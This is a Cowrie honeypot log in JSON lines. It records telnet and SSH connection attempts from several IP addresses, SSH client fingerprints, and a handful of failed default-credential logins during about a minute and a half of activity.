{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53656,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddcae0fdbabf","protocol":"telnet","message":"New connection: 69.6.196.124:53656 (159.203.135.109:23) [session: ddcae0fdbabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:55.509173Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53660,"dst_ip":"159.203.135.109","dst_port":23,"session":"86e77622a4df","protocol":"telnet","message":"New connection: 69.6.196.124:53660 (159.203.135.109:23) [session: 86e77622a4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:50:56.548655Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37764,"dst_ip":"159.203.135.109","dst_port":23,"session":"7631e4fdb177","protocol":"telnet","message":"New connection: 69.6.196.124:37764 (159.203.135.109:23) [session: 7631e4fdb177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:03.949150Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37754,"dst_ip":"159.203.135.109","dst_port":23,"session":"c615fbaf7011","protocol":"telnet","message":"New connection: 69.6.196.124:37754 (159.203.135.109:23) [session: c615fbaf7011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:04.587673Z"}
{"eventid":"cowrie.session.closed","duration":30.93282413482666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:04.679455Z","src_ip":"69.6.196.124","session":"cd6b793cbf1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89225172996521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:05.914396Z","src_ip":"69.6.196.124","session":"2ba2cad28c80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.60751438140869,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:06.570294Z","src_ip":"69.6.196.124","session":"c9bcad83386d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.488404512405396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:06.589057Z","src_ip":"69.6.196.124","session":"71cbc7bf4bc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37772,"dst_ip":"159.203.135.109","dst_port":23,"session":"66befc2e93f1","protocol":"telnet","message":"New connection: 69.6.196.124:37772 (159.203.135.109:23) [session: 66befc2e93f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:07.160689Z"}
{"eventid":"cowrie.session.closed","duration":30.888306379318237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:07.315158Z","src_ip":"69.6.196.124","session":"9587fcf7677b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37784,"dst_ip":"159.203.135.109","dst_port":23,"session":"744a028a5ce0","protocol":"telnet","message":"New connection: 69.6.196.124:37784 (159.203.135.109:23) [session: 744a028a5ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:08.100966Z"}
{"eventid":"cowrie.session.closed","duration":30.530062913894653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:11.384694Z","src_ip":"69.6.196.124","session":"4d06ad242499","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07977271080017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:11.515689Z","src_ip":"69.6.196.124","session":"1b9b7f369614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634718656539917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:15.394657Z","src_ip":"69.6.196.124","session":"e4f9d45e1bec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42510,"dst_ip":"159.203.135.109","dst_port":23,"session":"866ce74ae28a","protocol":"telnet","message":"New connection: 69.6.196.124:42510 (159.203.135.109:23) [session: 866ce74ae28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:16.279048Z"}
{"eventid":"cowrie.session.closed","duration":30.678466081619263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:16.288133Z","src_ip":"69.6.196.124","session":"f81b2dce75b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42518,"dst_ip":"159.203.135.109","dst_port":23,"session":"09fe1a83f160","protocol":"telnet","message":"New connection: 69.6.196.124:42518 (159.203.135.109:23) [session: 09fe1a83f160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:17.135107Z"}
{"eventid":"cowrie.session.closed","duration":31.349766731262207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:18.950986Z","src_ip":"185.53.58.141","session":"79cc95dd8d1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":49310,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6ea279e6fef","protocol":"ssh","message":"New connection: 201.184.50.251:49310 (10.17.0.5:22) [session: f6ea279e6fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:19.929142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:19.933977Z","src_ip":"201.184.50.251","session":"f6ea279e6fef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:20.045237Z","src_ip":"201.184.50.251","session":"f6ea279e6fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.20809555053711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:20.362177Z","src_ip":"69.6.196.124","session":"f030ef8d46e5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test1","password":"pass","message":"login attempt [test1/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:20.497450Z","src_ip":"201.184.50.251","session":"f6ea279e6fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42486,"dst_ip":"159.203.135.109","dst_port":23,"session":"acd1ceff41be","protocol":"telnet","message":"New connection: 69.6.196.124:42486 (159.203.135.109:23) [session: acd1ceff41be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:21.338414Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:21.604967Z","src_ip":"201.184.50.251","session":"f6ea279e6fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.840900897979736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:22.307185Z","src_ip":"69.6.196.124","session":"6dce971abec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800352573394775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:23.278418Z","src_ip":"69.6.196.124","session":"517b59b9cf53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128894329071045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:24.622122Z","src_ip":"69.6.196.124","session":"9f415d4600ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.695858240127563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:27.204906Z","src_ip":"69.6.196.124","session":"ddcae0fdbabf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752596855163574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:27.301143Z","src_ip":"69.6.196.124","session":"86e77622a4df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42490,"dst_ip":"159.203.135.109","dst_port":23,"session":"5703d603ea5a","protocol":"telnet","message":"New connection: 69.6.196.124:42490 (159.203.135.109:23) [session: 5703d603ea5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:28.214014Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42492,"dst_ip":"159.203.135.109","dst_port":23,"session":"f70dbe43c16f","protocol":"telnet","message":"New connection: 69.6.196.124:42492 (159.203.135.109:23) [session: f70dbe43c16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:28.898019Z"}
{"eventid":"cowrie.session.closed","duration":30.417838096618652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:34.366870Z","src_ip":"69.6.196.124","session":"7631e4fdb177","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.125035047531128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:35.712478Z","src_ip":"69.6.196.124","session":"c615fbaf7011","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.450456857681274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:37.610992Z","src_ip":"69.6.196.124","session":"66befc2e93f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":35018,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bec5d68e767","protocol":"ssh","message":"New connection: 103.13.206.100:35018 (10.17.0.5:22) [session: 0bec5d68e767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:37.640389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:37.645114Z","src_ip":"103.13.206.100","session":"0bec5d68e767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:37.880305Z","src_ip":"103.13.206.100","session":"0bec5d68e767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":44038,"dst_ip":"159.203.135.109","dst_port":23,"session":"59ea86829a02","protocol":"telnet","message":"New connection: 69.6.196.124:44038 (159.203.135.109:23) [session: 59ea86829a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:37.991088Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin888","message":"login attempt [root/admin888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:38.855350Z","src_ip":"103.13.206.100","session":"0bec5d68e767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.028088331222534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:39.128941Z","src_ip":"69.6.196.124","session":"744a028a5ce0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:40.094303Z","src_ip":"103.13.206.100","session":"0bec5d68e767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.508405447006226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:47.643394Z","src_ip":"69.6.196.124","session":"09fe1a83f160","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59610080718994,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:48.875020Z","src_ip":"69.6.196.124","session":"866ce74ae28a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.87121605873108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:53.209531Z","src_ip":"69.6.196.124","session":"acd1ceff41be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":49962,"dst_ip":"10.17.0.5","dst_port":22,"session":"48157e2539f3","protocol":"ssh","message":"New connection: 41.63.62.103:49962 (10.17.0.5:22) [session: 48157e2539f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:58.796992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:58.801686Z","src_ip":"41.63.62.103","session":"48157e2539f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:59.068540Z","src_ip":"41.63.62.103","session":"48157e2539f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.351428985595703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:51:59.565328Z","src_ip":"69.6.196.124","session":"5703d603ea5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.260389804840088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:00.158270Z","src_ip":"69.6.196.124","session":"f70dbe43c16f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test03","password":"test","message":"login attempt [test03/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:00.174284Z","src_ip":"41.63.62.103","session":"48157e2539f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:01.446295Z","src_ip":"41.63.62.103","session":"48157e2539f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38432,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbbd5871a22e","protocol":"telnet","message":"New connection: 69.6.196.124:38432 (159.203.135.109:23) [session: cbbd5871a22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:02.060594Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38440,"dst_ip":"159.203.135.109","dst_port":23,"session":"2709cf95321d","protocol":"telnet","message":"New connection: 69.6.196.124:38440 (159.203.135.109:23) [session: 2709cf95321d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:05.846993Z"}
{"eventid":"cowrie.session.closed","duration":30.357548236846924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:08.348506Z","src_ip":"69.6.196.124","session":"59ea86829a02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":46220,"dst_ip":"159.203.135.109","dst_port":23,"session":"830d7d980edc","protocol":"telnet","message":"New connection: 69.6.196.124:46220 (159.203.135.109:23) [session: 830d7d980edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:10.493958Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":53314,"dst_ip":"10.17.0.5","dst_port":22,"session":"501222f5fb65","protocol":"ssh","message":"New connection: 103.129.221.202:53314 (10.17.0.5:22) [session: 501222f5fb65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:12.095115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:12.099246Z","src_ip":"103.129.221.202","session":"501222f5fb65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:12.392326Z","src_ip":"103.129.221.202","session":"501222f5fb65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"admin","message":"login attempt [testuser/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:13.464940Z","src_ip":"103.129.221.202","session":"501222f5fb65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:14.715868Z","src_ip":"103.129.221.202","session":"501222f5fb65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":37810,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd81c2ac8698","protocol":"ssh","message":"New connection: 201.184.50.251:37810 (10.17.0.5:22) [session: bd81c2ac8698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:15.732582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:52:15.738519Z","src_ip":"201.184.50.251","session":"bd81c2ac8698","protocol":"ssh"}
